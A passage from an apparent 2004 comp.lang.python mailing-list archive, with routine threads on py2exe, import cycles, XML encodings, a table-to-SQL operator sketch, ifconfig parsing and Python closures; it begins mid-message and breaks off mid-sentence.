   File "<interactive input>", line 1, in ?
AttributeError: 'tuple' object has no attribute 'index'
 >>>

-D



From adamba at gte.net  Tue Feb 24 15:46:32 2004
From: adamba at gte.net (Adam Barr)
Date: 24 Feb 2004 12:46:32 -0800
Subject: Comments requested: brief summary of Python
References: <ce782195.0402232218.6e64177c@posting.google.com>
	<UyC_b.2001$h11.1216@newssvr27.news.prodigy.com>
Message-ID: <ce782195.0402241246.48aeb85e@posting.google.com>

"Moosebumps" <Moosebumps at Moosebumps.Moosebumps> wrote in message news:<UyC_b.2001$h11.1216 at newssvr27.news.prodigy.com>...
> It seems like you could demonstrate the same thing a little more clearly and
> concisely with a short program with annotations.  It reads like a bunch of
> facts, which is not very easy for most people to remember.  If you wrap it
> in some context they will be more likely to remember it.
> 
> Some standard programs from textbooks, like parsing a list of names and
> addresses and doing some queries on them maybe, and formatting the text
> output nicely.  some program where you would have cause to use string
> operations like slicing, dictionaries, tuples, lists, etc.
> 
> It will also "sell" python more if you can write a nice elegant program that
> is clear and easy to understand, while demonstrating many language features.

Good point. The book will have programs later on, this section is
meant as a reference.

However, as such I should probably split it into sections so it is not
just one big lump: "basic", "loops", "conditionals", etc.

- adam


From fumanchu at amor.org  Fri Feb 27 14:15:39 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Fri, 27 Feb 2004 11:15:39 -0800
Subject: Is MVC architecture applicable for web environment??
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561DCD@opus.amorhq.net>

ketulp_baroda wrote:
> Subject: Re: Is MVC architecture applicable for web environment??
> I want to know wheteher observer-observable pattern is applicable for
> web environment?? I mean to say that the HTTP protocol is
> request/response based so
> there is no notion of an "event" being notified ...
> whereas the observer-observable pattern is based on event.

It can be MVC if you allow for that fact that the user must
approve/request screen repaints. ;)

FuManChu



From schnizer at users.sourceforge.net  Mon Feb  9 03:25:39 2004
From: schnizer at users.sourceforge.net (Pierre Schnizer)
Date: Mon, 09 Feb 2004 09:25:39 +0100
Subject: [ANN] pygsl version 0.2.0 has been released
Message-ID: <mailman.1076335442.5739.clpa-moderators@python.org>


PyGSL is a wrapper for the GNU Scientific Library. Get it from 
http://sourceforge.net/projects/pygsl.

Up to now it provides the following modules:
     * Blas
     * Chebyshev
     * Combination
     * Const
     * Diff
     * Eigen
     * Fit
     * Ieee
     * Integrate
     * Interpolation
     * Linalg
     * Math
     * Minimize
     * Multifit
     * Multifit_nlin
     * Multimin
     * Multiroots
     * Odeiv
     * Permutation
     * Poly
     * Qrng
     * Rng 
     * Roots
     * Siman (Simulated Annealing)
     * Special Functions
     * Spline

GSL >= 1.3 and numerical python are required.

Please send all bug reports, requests, patches to
pygsl-discuss at lists.sourceforge.net.

Sincerely yours,
          Pierre Schnizer
       
--
        Remove the "nospam" for a direct reply



From max at alcyone.com  Sat Feb 14 20:46:06 2004
From: max at alcyone.com (Erik Max Francis)
Date: Sat, 14 Feb 2004 17:46:06 -0800
Subject: opinion for newbie code
References: <pan.2004.02.14.20.53.55.491882@no.mail.it>
Message-ID: <402ECF5E.5A892A27@alcyone.com>

robsom wrote:

> Question n.2: on line 9-11 I add my three lists (A, B, C) to the L
> list
> using three append instructions. Is there another way to do the same
> thing, i.e. to add more than one element to a list with a single
> instruction?

	L = A + B + C

-- 
 __ Erik Max Francis && max at alcyone.com && http://www.alcyone.com/max/
/  \ San Jose, CA, USA && 37 20 N 121 53 W && &tSftDotIotE
\__/ Who needs a dream / Who needs ambition
    -- The Russian, _Chess_


From vincent at visualtrans.de  Wed Feb 11 10:39:12 2004
From: vincent at visualtrans.de (vincent wehren)
Date: Wed, 11 Feb 2004 16:39:12 +0100
Subject: iterating over a list and printing
References: <c0dhev$2gp$1@solaris.cc.vt.edu>
Message-ID: <c0dib1$ol4$1@news2.tilbu1.nb.home.nl>

"Bart Nessux" <bart_nessux at hotmail.com> schrieb im Newsbeitrag
news:c0dhev$2gp$1 at solaris.cc.vt.edu...
| ip_list = []
| inputFile = file('ips.txt', 'r')
| ip_list.append(inputFile.read())

You just added the entire contents as a single element to ip_list
To iterate over the indiviual lines, you should go

for i in file("ips.txt"):
    print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast 128.173.123.255
up" %i

HTH,
Vincent Wehren

| inputFile.close()
| for i in ip_list:
|     print "/sbin/ifconfig %s netmask 255.255.252.0 broadcast
| 128.173.123.255 up" %i
|
| The last line does not work. It prints the first part (/sbin/ifconfig),
| then the entire list of ips, then the second part (netmask 255.255.252.0
| broadcast 128.173.123.255 up). Any ideas on how to fix this? The desired
| results are to print a line for each IP.
|
| /sbin/ifconfig IP1 netmask 255.255.252.0 broadcast 128.173.123.255 up
| /sbin/ifconfig IP2 netmask 255.255.252.0 broadcast 128.173.123.255 up
| etc...



|




From theller at python.net  Tue Feb 10 10:31:39 2004
From: theller at python.net (Thomas Heller)
Date: Tue, 10 Feb 2004 16:31:39 +0100
Subject: py2exe 0.5 and multiple utilities
References: <4f0a9fdb.0402100440.70f7ee01@posting.google.com>
Message-ID: <ptcnhrxg.fsf@python.net>

miki.tebeka at zoran.com (Miki Tebeka) writes:

> Hello All,
>
> I'd like to create several utilities with py2exe and place them all in
> the same directory.
> However for each utility py2exe creates a different library.zip.

You can rename library.zip into something else for each utility.

> Any ideas on how to overcome this problem? (Placing all in the same
> setup.py is not an option).

Why not?

If it's really not possible (for reasons I cannot imagine), as py2exe is
distutils-derived, you can do anything with subclasses ;-).

Maybe make a subclass of build_exe which will add files into
library.zip, instead of creating a new one each time.

Thomas


From foedisch at eva.mpg.de  Mon Feb 16 07:19:22 2004
From: foedisch at eva.mpg.de (=?ISO-8859-1?Q?Alexander_F=F6disch?=)
Date: Mon, 16 Feb 2004 13:19:22 +0100
Subject: Pick out ip-address
Message-ID: <4030B54A.9010806@eva.mpg.de>

Can somebody help me? I want to pick-out the IP-address after my pc is 
connected with the internet.
All this should work with an  answering machine. When the connection 
exists, the answering machine should
tell me the IP-address.
I think, the problem is in line 22 because when I set a variable  named 
ip_address (e.g. 123.456.789.987) it works!

1 def internetDialin(call,curr_user,config):
2    zielhost="62.104.217.40"
3    interface="ippp0"
4    # build up connection
5    c_status=os.system("ping -w 1 "+zielhost)
6    count=1
7    # wait for connection for 30 seconds
8    while ((c_status!=0) and (count<30)):
9	c_status=os.system("ping -w 1 "+zielhost)
10	count+=1
11   # output of ip-address
12    if (c_status==0):
13	cmd=os.popen('LANG=""/sbin/ifconfig'+interface)
14	lines=cmd.readlines()
15	cmd.close()
16	for l in lines:
17	    index=string.find(l,"inet addr:")
18	    if (index!=-1):
19		index+=10
20		rindex=string.find(l," ",index)
21#here is the problem:
22		ip_address=l[index:rindex]
23
24   cs_helpers.sayNumber(call,ip_address,curr_user,config)


thx
Regards,
        Alex




From martin at v.loewis.de  Fri Feb 13 03:58:20 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Fri, 13 Feb 2004 09:58:20 +0100
Subject: xml unknown encoding: big5
In-Reply-To: <m365ec17kx.fsf@pc150.maths.bris.ac.uk>
References: <c0g189$8pk@netnews.hinet.net>
	<m365ec17kx.fsf@pc150.maths.bris.ac.uk>
Message-ID: <c0i3j5$b8p$06$2@news.t-online.com>

Michael Hudson wrote:
>>I use xml.sax to parse big5 encoding xml file.
>>And I got message "unknown encoding: big5".
>>What can I do?
> 
> 
> Install CJKCodecs?  (Just a guess).

That helps, but is insufficient. Expat (or, atleast, pyexpat)
supports only single-byte non-UTF charsets. To parse multi-byte
charsets, you need xmlproc (from PyXML), and you need to tell
xml.sax to use xmlproc (e.g. by asking for drv_xmlproc).

Regards,
Martin



From loic at fejoz.net  Fri Feb 13 06:31:46 2004
From: loic at fejoz.net (Yermat)
Date: 13 Feb 2004 03:31:46 -0800
Subject: Table Oriented Programming
References: <mailman.2.1076613028.31398.python-list@python.org>
Message-ID: <3db247c2.0402130331.3b7f44d4@posting.google.com>

"Michael Hobbs" <michael at hobbshouse.org> wrote in message news:<mailman.2.1076613028.31398.python-list at python.org>...
> Yeah, yeah, another X-Oriented paradigm, but please hear me out.
> 
> I have recently been studying up on EJB's in order to extend my resume.
> I have looked at J2EE several times over the past years, but have never
> been impressed by it. Now that I've studied it in detail, I know why. A
> strongly typed language such as Java is poorly suited to model tables
> and relations. 
> 
> I got to thinking that a more dynamically typed language, such as
> Python, would be a more natural fit. I've always been fond of the
> table-oriented programming ideas described in
> http://www.geocities.com/tablizer/top.htm, so I'm thinking that if
> Python could be extended to handle table-oriented programming as
> seamlessly as it handles object-oriented programming, it could become a
> really valuable language for writing enterprise components, a la EJB.
> 
> Does anyone know if anyone has already walked this path?
> 
> I've given it a little thought myself, and here are some of my
> [incomplete] ideas:
> 
> - Tables would be first-class values, just as classes are.
> - A table may be stored completely in memory, or it may represent a
> table stored in a database engine.
> - A table may represent the result of a query.
> - Queries are performed using a sequence of operators, rather than
> relying on SQL.
> 
> Consider this example code:
>   departments = DepartmentTable
>   employees = EmployeeTable
>   johnsDepartment = (departments * employees) / 
>     (employees.dept == departments.dept) /
>     (employees.name == 'John') %
>     departments.name
>   print johnsDepartment[0].name
> 
> In the code above, the "*" operator performs a cartesian product, the
> "/" operator performs a selection, and the "%" operator performs a
> projection. If the DepartmentTable and the EmployeeTable are stored in a
> database engine, the expression above would generate a SQL query similar
> to "select department.name from (select * from department, employee
> where employee.dept = department.dept) where employee.name = 'John'". If
> the expression had been written "(departments * employees) /
> (employees.dept == departments.dept and employees.name == 'John') %
> departments.name", the resulting SQL would be similar to "select
> department.name from department, employee where employee.dept =
> department.dept and employee.name = 'John'", that is, without the nested
> SELECT.
> 
> Of course, the entire code above could be reduced to a single line:
>   print ((DepartmentTable * EmployeeTable) / (EmployeeTable.dept ==
> DepartmentTable.dept and EmployeeTable.name == 'John') %
> DepartmentTable.name)[0].name
> 
> Perhaps the list-comprehension syntax may be better suited than
> arithmetic operators. Like I said, my ideas are still a little
> incomplete.
> 
> Please forgive me if this has already been discussed to death,
> - Michael Hobbs



What about the following code ?
I think there is not too much to make it work...


"""
http://www.geocities.com/tablizer/top.htm
http://groups.google.fr/groups?q=Table+oriented++group:comp.lang.python.*&hl=fr&lr=&ie=UTF-8&group=comp.lang.python.*&selm=mailman.2.1076613028.31398.python-list%40python.org&rnum=1
"""


class TOP(object):
    def __div__(self,other):
        return Selection(self,other)

    def __mul__(self,other):
        return CartesianProduct(self,other)

    def __eq__(self,other):
        return Equality(self,other)

    def __mod__(self,other):
        return Projection(self,other)

    def execute(self,connexion):
        self._cursor = connexion.cursor()
        self._cursor.execute(ToSql().toSql(self))

    def __getitem__(self,item):
        if not hasattr(self,'_result'):
            self._result = self._cursor.fetchall()
        return self._result[item]

    def __iter__(self):
        return self._iter

    def _iter(self):
        set = self._cursor.nextset()
        while set:
            yield set
            set = self._cursor.nextset()
        

class Table(TOP):
    def __init__(self,name):
        self._name = name
    
    def __getattr__(self,attr):
        return Field(self,attr)

    def __str__(self):
        return self._name

class Field(TOP):
    def __init__(self,table,fieldName):
        self._table = table
        self._name = fieldName

    def __str__(self):
        return "%s.%s" % (self._table,self._name)

class Equality(TOP):
    def __init__(self,a,b):
        self.a = a
        self.b = b

class Selection(TOP):
    def __init__(self,a,b):
        self.a = a
        self.b = b

class CartesianProduct(TOP):
    def __init__(self,a,b):
        self.a = a
        self.b = b

class Projection(TOP):
    def __init__(self,a,b):
        self.a = a
        self.b = b


class ToSql:
    def __init__(self):
        pass

    def toSql(self,obj):
        methodName = "toSql" + obj.__class__.__name__
        if hasattr(self,methodName):
            toSql = getattr(self,methodName)
            return toSql(obj)
        else:
            #print methodName
            return '"%s"' % str(obj)

    def toSqltuple(self,tuple):
        return ",".join(map(lambda o: self.toSql(o),tuple))

    def toSqlTable(self,table):
        return str(table)

    def toSqlField(self,field):
        return str(field)

    def toSqlCartesianProduct(self,prod):
        return "%s,%s" % (self.toSql(prod.a),self.toSql(prod.b))

    def toSqlEquality(self,eq):
        return "%s == %s" % (self.toSql(eq.a),self.toSql(eq.b))

    def toSqlSelection(self,sel):
        if isinstance(sel.a,Selection):
            return "%s AND %s" % (self.toSql(sel.a),self.toSql(sel.b))
        else:
            return "%s WHERE %s" %
(self.toSql(sel.a),self.toSql(sel.b))

    def toSqlProjection(self,proj):
        if isinstance(proj.a,Projection):
            return "?"
        else:
            return "SELECT %s FROM %s" % (self.toSql(proj.b),
self.toSql(proj.a))

translator = ToSql()

departments = Table("DepartmentTable")
employees = Table("EmployeeTable")

johnsDepartment = ( departments * employees) / (employees.dept ==
departments.dept)  / ( employees.name == "John") % departments.name
johnsDepartmentBis = ( departments * employees) / (employees.dept ==
departments.dept)  / ( employees.name == "John") %
(departments.name,employees.surname)

print translator.toSql(johnsDepartment)
print translator.toSql(johnsDepartmentBis)

##johnsDepartment.execute(myBddConnexion)
##print johnsDepartment[0]

##johnsDepartmentBis.execute(myBddConnexion)
##for item in johnsDepartmentBis:
##    print item


From llothar at web.de  Sun Feb  8 11:29:51 2004
From: llothar at web.de (Lothar Scholz)
Date: 8 Feb 2004 08:29:51 -0800
Subject: where does Python stand?
References: <d99e1341.0402050505.226a01c8@posting.google.com>
	<6ee58e07.0402051148.25add90e@posting.google.com>
	<d99e1341.0402051930.57985621@posting.google.com>
	<bvv37j$8or$1@news.service.uci.edu>
	<d99e1341.0402061439.1f8cebc9@posting.google.com>
	<c01p9a$olv$1@news.service.uci.edu>
	<d99e1341.0402070536.25157d73@posting.google.com>
	<c03its$emc$1@news.service.uci.edu>
	<d99e1341.0402080236.79d3d939@posting.google.com>
Message-ID: <6ee58e07.0402080829.25ed5799@posting.google.com>

crescent_au at yahoo.com (Ben) wrote in message news:<d99e1341.0402080236.79d3d939 at posting.google.com>...
> Josiah Carlson <jcarlson at nospam.uci.edu> wrote in message news:<c03its$emc$1 at news.service.uci.edu>...
> > 
> > If you know Dreamweaver, Python, Java, JavaScript, and CGI using Python, 
> > C, and C++, and you /don't know/ how/where to get started on your 
> > project...that is some serious indecision.  Pick your favorite language, 
> > and write your app.
> 
> to this as "serious indecision", then so be it! I got nothing to
> say....

Then maybe the first thing that you shouldn't say is that you now
Python,Java,JavaScript, C, C++ if the only thing you know is the names
of this languages.

Sorry but this is some kind of fucking marketing rhetorik. If you
really now at least one of them your postings would be much different.
Nobody has a problem with newbies here, but the people who say they
know a lot but don't do it in reality are not very welcome - nowhere.


From premshree_python at yahoo.co.in  Tue Feb  3 20:49:53 2004
From: premshree_python at yahoo.co.in (=?iso-8859-1?q?Premshree=20Pillai?=)
Date: Wed, 4 Feb 2004 01:49:53 +0000 (GMT)
Subject: newbie py2exe difficulty
In-Reply-To: <PsoSb.329649$JQ1.232982@pd7tw1no>
Message-ID: <20040204014953.44149.qmail@web8305.mail.in.yahoo.com>

 --- Elaine Jackson <elainejackson7355 at home.com>
wrote: > Hi. I'm trying to use py2exe
> (http://starship.python.net/crew/theller/py2exe/)
> in Windows 98. I copied the necessary files into my
> Python23 directory (where I
> have a module called 'mastermind.py'), and in the
> same directory I saved a
> Python source file called 'setup.py' containing the
> following text:
> 
> from distutils.core import setup
> import py2exe
> setup(console=["mastermind.py"])
> 
> At this point the instructions say the following:
> 
> """
> Running
> 
> python setup.py py2exe --help
> 
> will display all available command-line flags to the
> py2exe command.
> 
> Now you can call the setup script like in this way:
> 
> python setup.py py2exe
> 
> and a subdirectory dist will be created, containing
> the files myscript.exe,
> python23.dll, and library.zip.
> """
> 
> My problem is that, when I attempt to follow the
> first instruction (details
> follow), it opens a DOS window that may indeed
> display all available
> command-line flags to the py2exe command, but isn't
> very helpful because it
> immediately disappears. (In fact I'm really not sure
> what a command-line flag
> is, or what I'm supposed to do with it.) I've also
> tried simply running
> setup.py: the DOS window disappeared immediately and
> there was no 'dist'
> directory in evidence.
> 
> Here is what I tried regarding the first
> instruction:
> 
> i) Creating a shortcut to setup.py, setting its
> 'target' property to
> 'C:\Python23\setup.py --help', and double-clicking
> on its icon.
> 
> i) Setup | Run... | C:\Python23\python.exe setup.py
> py2exe --help | OK
> 
> Any help with this problem will be very much
> appreciated. Knowing how to create
> standalone executables would give me lots of
> incentive to keep learning more
> Python (which, incidentally, rocks).
> 
> Peace
> 
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

> i) Setup | Run... | C:\Python23\python.exe setup.py
> py2exe --help | OK

The above should work when youwant to see all
command-line options.

Anyway, to make things easier with py2exe, you could
check
http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/266471

Ciao,
Premshree 

=====
-Premshree
[http://www.qiksearch.com/]

________________________________________________________________________
Yahoo! India Mobile: Download the latest polyphonic ringtones.
Go to http://in.mobile.yahoo.com



From jcarlson at nospam.uci.edu  Fri Feb 20 12:09:12 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Fri, 20 Feb 2004 09:09:12 -0800
Subject: Generating a large random string
In-Reply-To: <jPnZb.64294$KV5.40166@nwrdny01.gnilink.net>
References: <4034D506.2E37519A@netsurf.de> <4035DC5F.FBACD4F8@netsurf.de>
	<jPnZb.64294$KV5.40166@nwrdny01.gnilink.net>
Message-ID: <c15f4h$c8j$1@news.service.uci.edu>

> This works fine for strings up to 10 MB, after that you might want to
> consider stashing your data to disk and reading/writing in chunks.

Or he could use mmap.  It handles all of that for you, is mutable, and 
can be used as a replacement for strings in most places.

  - Josiah


From gerard.breiner at ias.u-psud.fr  Wed Feb  4 08:48:14 2004
From: gerard.breiner at ias.u-psud.fr (Gerard Breiner)
Date: Wed, 4 Feb 2004 14:48:14 +0100
Subject: MySQLdb which version for python 2.2.2
Message-ID: <bvqt6o$3s9$1@upsn21.u-psud.fr>

Hello,

I'd like to know which version of MySQLdb I can install for python 2.2.2
under RedHat 8.0.

Thanks

-- 
G?rard Breiner
Service Informatique
Institut d'Astrophysique Spatiale
91405 Orsay Campus




From aahz at pythoncraft.com  Thu Feb 19 20:10:17 2004
From: aahz at pythoncraft.com (Aahz)
Date: 19 Feb 2004 20:10:17 -0500
Subject: Speed of attribute lookup (was Re: advice on programming style:
	is multiple inheritance bad?)
References: <bvjhkv$ss4$1@news.rz.uni-karlsruhe.de>
	<101rd69b9127s51@news.supernews.com>
	<bvkh00$38r$1@panix1.panix.com>
	<101sphfjk91p42d@news.supernews.com>
Message-ID: <c13mpp$9ic$1@panix2.panix.com>

In article <101sphfjk91p42d at news.supernews.com>,
John Roth <newsgroups at jhrothjr.com> wrote:
>"Aahz" <aahz at pythoncraft.com> wrote in message
>news:bvkh00$38r$1 at panix1.panix.com...
>> 
>> The problem with attribute lookup in new-style classes is that any
>> instance attribute could be a property.  So if Python finds an attribute
>> on the instance, it needs to traverse the MRO to check if there's a
>> property.  If there isn't one, that's an expensive waste.
>
>I thought about that when new style classes came out, and managed
>to convince myself that it couldn't happen, at least with data
>properties. Unless trying to set the *same* attribute from the setter
>invoked from the property actually works? That seems like a lot of work
>to make it function poorly.

I'm not understanding your question.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"Argue for your limitations, and sure enough they're yours."  --Richard Bach


From llothar at web.de  Mon Feb  9 22:17:27 2004
From: llothar at web.de (Lothar Scholz)
Date: 9 Feb 2004 19:17:27 -0800
Subject: Python/Parrot still alive?
References: <tq6dnRV_eM23UrjdRVn-uw@comcast.com>	<c04rqb$pbv$05$1@news.t-online.com>
	<mailman.1341.1076229832.12720.python-list@python.org>
	<c068ah$o0p$00$1@news.t-online.com>
	<6ee58e07.0402082034.1d909f2b@posting.google.com>
	<4027ECDE.AB5BE4B6@engcorp.com>
Message-ID: <6ee58e07.0402091917.13fdaa8e@posting.google.com>

Peter Hansen <peter at engcorp.com> wrote in message news:<4027ECDE.AB5BE4B6 at engcorp.com>...
> Lothar Scholz wrote:
> > 
> > "Martin v. L?wis" <martin at v.loewis.de> wrote in message news:<c068ah$o0p$00$1 at news.t-online.com>...
> > 
> > > Some interpreters don't have virtual machines, e.g. Tcl did not
> > > have one until Tcl 8 or so. OTOH, not all virtual machines are
> > 
> > So Ruby is an interpreter and not a virutal machine ?
> 
> Does Ruby have a "byte code" such as Python and Java have?

No. It keeps the parse tree in memory and traverse it during
evaluation. Same as all lisp interpreters(?!?!).


From mwh at python.net  Wed Feb 25 12:52:16 2004
From: mwh at python.net (Michael Hudson)
Date: Wed, 25 Feb 2004 17:52:16 GMT
Subject: Linguistically correct Python text rendering
References: <opstad-0804D8.08595821022004@news-central.ash.giganews.com>
	<mailman.33.1077633885.8594.python-list@python.org>
	<opstad-5EF6C3.14552924022004@news-central.ash.giganews.com>
	<m3u11ffk1f.fsf@pc150.maths.bris.ac.uk>
	<opstad-5BE204.07015225022004@news-central.ash.giganews.com>
Message-ID: <m3znb7dp2o.fsf@pc150.maths.bris.ac.uk>

David Opstad <opstad at batnet.com> writes:

> In article <m3u11ffk1f.fsf at pc150.maths.bris.ac.uk>,
>  Michael Hudson <mwh at python.net> wrote:
> 
> > But it seems to be impossible to programmatically determine which
> > encoding the terminal being printed to at a given moment is using (and
> > the user can fiddle this at run time).  If I'm wrong about this, I'd
> > like to know.
> 
> The encoding issue is peripheral to my point; sorry if I wasn't clearer 
> in my original message. It doesn't matter what the encoding is. The main 
> issue is that for some writing systems (e.g. Arabic) simply outputting 
> the characters in a Unicode string, irrespective of encoding, will 
> produce garbled results.
> 
> > What more would you have us do?
> 
> Well, for those writing systems whose presentation forms are included in 
> Unicode, how about a further processing step? So that at a minimum, if I 
> start with an Arabic string like "abc" I can get out an Arabic string 
> like "CBA" where bidi reordering has happened, and contextual 
> substitution has been done. Then, outputting the processed Unicode 
> string using stdout will work without further intervention (assuming a 
> font for the writing system is present, of course).

Ah, OK.  You are now officially beyond my level of expertise :-) You
might want to talk to the i18n-sig.

This sounds very much like the sort of thing that could/should be
developed externally to Python and then perhaps folded in later, a la
CJKCodecs.

> It's probably irrational of me, I admit, but I'd love to see Python 
> correctly render *any* Unicode string, not just the subsets requiring no 
> reordering or contextual processing.

I still think "render" is probably the wrong word to use here, though.

Cheers,
mwh

-- 
  In short, just business as usual in the wacky world of floating
  point <wink>.                        -- Tim Peters, comp.lang.python


From bignose-hates-spam at and-benfinney-does-too.id.au  Wed Feb 11 17:45:51 2004
From: bignose-hates-spam at and-benfinney-does-too.id.au (Ben Finney)
Date: 12 Feb 2004 09:35:51 +1050
Subject: Hi All, have a  question
References: <mailman.1488.1076533722.12720.python-list@python.org>
Message-ID: <slrnc2ldaf.16j.bignose-hates-spam@rose.localdomain.fake>

On Wed, 11 Feb 2004 15:08:21 -0600, Paul Metzger wrote:
> Hi, I'm still a relative Python newbie, though I am learning more with every
> project:)

Glad you're charging ahead with your learning.

> I put
> the #!/usr/bin/python in the front

Presumably you mean this was placed on the first line.

To make your script a little more portable, the shebang line should be:

    #!/usr/bin/env python

This will execute the "python" command from wherever it resides,
presuming it is in the user's execution PATH environment variable.

> try to run it as a executable, it comes up and tells me the module
> can't be imported

Please show the exact command you're typing, and the exact error
message.


To make a script that can be imported as a module *and* executed as a
script, put the "do this stuff when run as a script" at the end in the
following conditional block:

    if ( __name__ == '__main__' ):
        # do the main purpose of this script

More here:

    <http://www.python.org/doc/current/lib/module-main.html>

-- 
 \        "I installed a skylight in my apartment. The people who live |
  `\                          above me are furious!"  -- Steven Wright |
_o__)                                                                  |
Ben Finney <http://bignose.squidly.org/>


From fuka at fuxoft.cz  Sat Feb  7 16:18:50 2004
From: fuka at fuxoft.cz (Frantisek Fuka)
Date: Sat, 07 Feb 2004 22:18:50 +0100
Subject: Basic 'import' problem
In-Reply-To: <c03i3f$3v4$03$1@news.t-online.com>
References: <c03aeb$12q8$1@ns.felk.cvut.cz> <c03i3f$3v4$03$1@news.t-online.com>
Message-ID: <c03kmp$28u7$1@ns.felk.cvut.cz>

Diez B. Roggisch wrote:
>>I think I grasp why I got this error (file2.hello2() is referenced
>>before its definition was "compiled" by Python) but I am puzzled as to
>>how to do this properly. Isn't it fairly common for two source files to
>>reference each other in this way? I know I can solve this by putting the
>>import statement after the def statement, but I have the similar problem
>>in much larger project, with many files and many includes and I'd like
>>to keep all my includes at the beginning of the file.
> 
> 
> First of all, don't use the name "file" - your are shadowing the type file
> with it. 

OK. I used that nome only in this simplified exmaple.

> Now to your problem: Its perfectly legal to have circular dependencies at
> declaration level - thus this works in python:
> 
> def foo():
>    bar()
> 
> def bar():
>    if moon_is_in_the_third_house:
>        foo()
> 
> In C, you had to define a prototype of bar, so that foo can use it.
> 
> But what you try is to already execute code from file in file2 _while_
> importing file2 inside file, because you have statements on the
> module-level - and that can't work. And I doubt that a language exists
> where thats possible.

Yes, this seems logical. It looks like I have some fundamental problems 
with grasping the philosophy of Python...

My application is started from base.py. This file imports many other 
files (modules) that do different stuff. Base.py references dozens of 
classes and functions in other modules. After a while, there comes a 
time when some of these modules need to reference some basic function 
inluded in base.py. Which means (I thought until now) that I have to 
include base.py in these files. Or not? Are you saying there is no 
chance of doing this? Let's forget "import" for now and please explain 
to me: Is there way to create a Python application consisting of several 
modules that can freely call and reference stuff in each other? From 
your answer it seems that the anwer is "no".

-- 
                                          Frantisek Fuka
(yes, that IS my real name)
(and it's pronounced "Fran-tjee-shek Foo-kah")
----------------------------------------------------
My E-mail:   fuka at fuxoft.cz
My Homepage: http://www.fuxoft.cz
My ICQ:      2745855


From cgroth at gmx.net  Fri Feb 13 18:27:27 2004
From: cgroth at gmx.net (Christoph Groth)
Date: Sat, 14 Feb 2004 00:27:27 +0100
Subject: exec - return value of expression
Message-ID: <87hdxuimqo.fsf@gmx.net>

Hello,

If a statement being executed with `exec' (the statement was
compile()'d with "single" as kind) evaluates to something else than
`None', the representation of that object is printed to sys.stdout.

Now I would like to execute arbitrary python statements in a
sub-interpreter (like code.InteractiveInterpreter) but instead of
printing the returned objects, I would like to get them, so I can
decide how to print them.

It seems that the `eval' builtin function is not what I want, as
>>> c = compile('x=1', '<input>', 'eval')
yields an error.  Apparently `eval' is only suited for executing
expressions and not arbitrary code.

What I need this for is the following:

I'm currently writing a small computer algebra system in python.  In
order to have a nice way of working interactively with the system I've
created a python application which behaves like a python interpreter
(it uses code.InteractiveInterpreter) and which is used as a plugin
for the texmacs editor.  texmacs, which is able to to typeset formula
in TeX-manner, acts as a frontend to the interpreter.

Currently, if the user wants to print some formula, say, he has to
execute a function called `tex' which packages the TeX-representation
of the formula in a way understood by texmacs, like this:

>>> f = create_some_formula()
>>> tex(f)   # Prettyprint the formula

But typing tex( ) all the time is a bit annoying, I would like that
the following works inside my texmacs-plugin.

>>> f = create_some_formula()
>>> f  # Prettyprint the formula

One solution would be to change the __repr__-Methods of the objects
which are to be prettyprinted.  This should work, but I would like to
prettyprint some builtin objects too, like a list of formulas for
example.  And I don't know how to change the __repr__ of builtin
lists.

Any hints on how to solve this Problem in an elegant way are greatly
appreciated.

Christoph
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From paul at prescod.net  Wed Feb 25 12:24:35 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 25 Feb 2004 09:24:35 -0800
Subject: Some language proposals.
In-Reply-To: <tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
References: <slrnc3mss6.pob.apardon@trout.vub.ac.be>	<mailman.58.1077649530.8594.python-list@python.org>	<tyfbrnno9e2.fsf@pcepsft001.cern.ch>	<mailman.88.1077699734.8594.python-list@python.org>	<tyf1xojnzwp.fsf@pcepsft001.cern.ch>	<m34qtffidu.fsf@pc150.maths.bris.ac.uk>
	<tyfwu6bmfhx.fsf@pcepsft001.cern.ch>
Message-ID: <403CDA53.8010001@prescod.net>

While I'm thinking about it, let me refute your Sapir-Wharf claim (BTW, 
its been pretty widly debunked in linguistics)

Before Python had nested scopes at all, it was VERY common to fake them 
using a linguistic trick: default arguments. This idiom was very common 
in Python's source base. Python didn't have a proper way to do the 
nesting but people figured out how to do it anyway and did it a LOT. 
(similarly people often emulate OO in C)

The "wrap your mutables" feature is by comparison _much less intrusive_ 
but I don't ever see it in real Python code. This suggests to me that 
people don't need the feature that badly.

Jacek Generowicz wrote:

>...
> And using objects (err ... instances of classes) to fake stateful
> functions sucks just as much.

Let's step above the words "function" and "object" for a second. 
Sometimes you need to combine mutable state and code into a single unit. 
Python has a first-class feature for doing that: the object. That's the 
implementation of the requirement.

But you are expressing an _implementation_ as a _requirement_. "I need a 
combination of state and data and it must be a function." Why?

> Sure. I have some stateful methods of classes (which I create
> dynamically and stick onto the class as the information about the
> existence of the method becomes available). 

Why are the METHODS stateful rather than keeping their state in the 
class? If I had to maintain your code I would much rather that you keep 
state in the same place all the other Python programmers do.

But if you must do this then use the well-known mutable closure hack. 
It'll take you just a few extra characters of code. When we start seeing 
dozens or hundreds of people making use of it then we'll know the 
community really needs it (and isn't just trying to turn Python into 
Lisp for its own sake).

> ... By implementing them as
> closures I can just stick them on to the class. If I were to implement
> them as instances then I'd have to reimplement all the descriptors
> that take care of turning functions into bound or unbound methods.

Or you could wrap them in functions.

inst = Class()

someclass.method = lambda x, *args, **kwargs: inst(*args, **kwargs)

You've cleverly found one of the very few places where Python 
distinguishes between "true" functions and callable objects. If one is 
looking at the overall Python system, the bug is in the way functions 
are bound. In general, Python very seldom distinguishes between objects 
based on type (rather than behaviour) and in particular, seldom 
distinguishes between functions and callable objects.

I would argue that classes should distinguish between 
attributes-to-be-treated-as-methods and 
attributes-to-be-treated-as-just-attributes using something other than 
type. Consider the following program:

class a:
         pass

def func():
         pass

lst = [1, 2, 3, "a", "b", "c", object(), lambda x:x ]

for x in lst:
         a.b = x
         assert a.b is x, "What???? %s"% x
         print "Okay", x

Frankly I think it is unpythonic that a second after assignment to a.b 
the thing I get back is different than the thing I put in.

But now we're talking about a pretty subtle bug that has been in Python 
for over ten years and it so seldom bites anyone that it is probably nto 
